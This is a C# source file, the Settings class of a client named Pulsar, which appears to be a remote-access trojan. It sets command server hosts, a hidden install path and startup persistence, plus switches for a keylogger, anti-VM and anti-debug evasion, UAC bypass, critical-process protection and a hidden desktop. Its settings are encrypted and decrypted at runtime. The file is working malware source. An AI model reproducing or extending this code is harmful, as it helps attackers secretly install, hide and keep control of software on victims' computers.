135 lines
5.6 KiB
C#
135 lines
5.6 KiB
C#
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using Pulsar.Common.Cryptography;
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using Pulsar.Common.Models;
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using System;
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using System.IO;
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using System.Security.Cryptography;
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using System.Security.Cryptography.X509Certificates;
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using System.Text;
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using System.Windows.Forms;
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namespace Pulsar.Client.Config
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{
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/// <summary>
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/// Stores the configuration of the client.
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/// </summary>
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public static class Settings
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{
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// Version string reported to the server regardless of assembly metadata.
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private const string VersionOverride = "2.4.5";
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#if DEBUG
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public static string VERSION = "1.0.0";
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public static string HOSTS = "127.0.0.1:4782;";
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public static int RECONNECTDELAY = 500;
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public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
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public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
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public static string SUBDIRECTORY = "Test";
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public static string INSTALLNAME = "test.exe";
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public static bool INSTALL = false;
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public static bool STARTUP = false;
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public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
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public static string STARTUPKEY = "Pulsar Client Startup";
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public static bool HIDEFILE = false;
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public static bool ENABLELOGGER = false;
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public static string ENCRYPTIONKEY = "";
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public static string TAG = "DEBUG";
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public static string LOGDIRECTORYNAME = "Logs";
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public static string SERVERSIGNATURE = "";
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public static string SERVERCERTIFICATESTR = "";
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public static X509Certificate2 SERVERCERTIFICATE;
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public static bool HIDELOGDIRECTORY = false;
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public static bool HIDEINSTALLSUBDIRECTORY = false;
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public static string INSTALLPATH = "";
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public static string LOGSPATH = "";
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public static bool ANTIVM = false;
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public static bool ANTIDEBUG = false;
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public static bool PASTEBIN = false;
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public static bool UACBYPASS = false;
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public static bool MAKEPROCESSCRITICAL = false; // if true it will attempt to make the process crititcal (needs admin fr)
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// needed for hvnc (why?) why not use the desktop pointer directly?
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public static IntPtr OriginalDesktopPointer = IntPtr.Zero;
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public static bool Initialize()
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{
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SetupPaths();
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return true;
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}
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#else
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public static string VERSION = "";
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public static string HOSTS = "";
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public static int RECONNECTDELAY = 5000;
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public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
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public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
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public static string SUBDIRECTORY = "";
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public static string INSTALLNAME = "";
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public static bool INSTALL = false;
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public static bool STARTUP = false;
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public static string MUTEX = "";
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public static string STARTUPKEY = "";
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public static bool HIDEFILE = false;
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public static bool ENABLELOGGER = false;
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public static string ENCRYPTIONKEY = "";
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public static string TAG = "";
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public static string LOGDIRECTORYNAME = "";
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public static string SERVERSIGNATURE = "";
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public static string SERVERCERTIFICATESTR = "";
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public static X509Certificate2 SERVERCERTIFICATE;
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public static bool HIDELOGDIRECTORY = false;
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public static bool HIDEINSTALLSUBDIRECTORY = false;
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public static string INSTALLPATH = "";
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public static string LOGSPATH = "";
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public static bool ANTIVM = false;
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public static bool ANTIDEBUG = false;
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public static bool PASTEBIN = false;
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public static bool UACBYPASS = false;
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public static bool MAKEPROCESSCRITICAL = false; // if true it will attempt to make the process crititcal (needs admin fr)
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// needed for hvnc
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public static IntPtr OriginalDesktopPointer = IntPtr.Zero;
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public static bool Initialize()
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{
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if (string.IsNullOrEmpty(VERSION)) return false;
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var aes = new Aes256(ENCRYPTIONKEY);
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TAG = aes.Decrypt(TAG);
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VERSION = aes.Decrypt(VERSION);
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HOSTS = aes.Decrypt(HOSTS);
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SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY);
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INSTALLNAME = aes.Decrypt(INSTALLNAME);
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MUTEX = aes.Decrypt(MUTEX);
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STARTUPKEY = aes.Decrypt(STARTUPKEY);
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LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
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SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
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SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
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SetupPaths();
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return VerifyHash();
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}
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#endif
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public static string ReportedVersion => string.IsNullOrWhiteSpace(VersionOverride) ? VERSION : VersionOverride;
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static void SetupPaths()
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{
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LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME);
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INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME);
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}
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static bool VerifyHash()
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{
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try
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{
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using (var rsa = SERVERCERTIFICATE.GetRSAPublicKey())
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{
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var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY));
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return rsa.VerifyHash(hash, Convert.FromBase64String(SERVERSIGNATURE), HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
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}
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}
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catch (Exception)
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{
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return false;
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}
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}
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}
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}
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